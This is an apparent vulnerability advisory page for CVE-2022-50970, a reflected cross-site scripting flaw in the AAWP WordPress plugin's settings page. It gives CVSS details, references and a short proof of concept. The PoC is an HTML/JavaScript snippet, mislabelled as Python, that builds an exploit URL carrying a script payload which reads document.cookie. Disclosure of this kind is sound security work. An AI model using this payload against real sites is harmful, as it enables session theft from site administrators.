CVE-2022-50970

Description

WordPress Plugin AAWP 3.16 contains a reflected cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts by manipulating the tab parameter. Attackers can craft URLs with XSS payloads in the tab parameter of the aawp-settings admin page to execute arbitrary JavaScript in the context of authenticated users.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Plugin AAWP <= 3.16

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2022-50970 -->
<!-- Usage: Send this URL to an authenticated admin -->
<!-- URL: http://target/wp-admin/admin.php?page=aawp-settings&tab=<script>alert('XSS')</script> -->

<html>
  <body>
    <script>
      // Malicious payload demonstrating the vulnerability
      var vulnParam = encodeURIComponent("<script>alert(document.cookie);</script>");
      var targetUrl = "http://example.com/wp-admin/admin.php?page=aawp-settings&tab=" + vulnParam;
      
      // Simulating the click
      // window.location.href = targetUrl;
      console.log("Exploit URL: " + targetUrl);
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2022-50970
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2022-50970
[3] CVE Details https://www.cvedetails.com/cve/CVE-2022-50970/
[4] VulDB https://vuldb.com/cve/CVE-2022-50970
[5] https://getaawp.com/
[6] https://www.exploit-db.com/exploits/50643
[7] https://www.vulncheck.com/advisories/wordpress-plugin-aawp-reflected-xss-via-tab-parameter

Raw JSON Data

JSON

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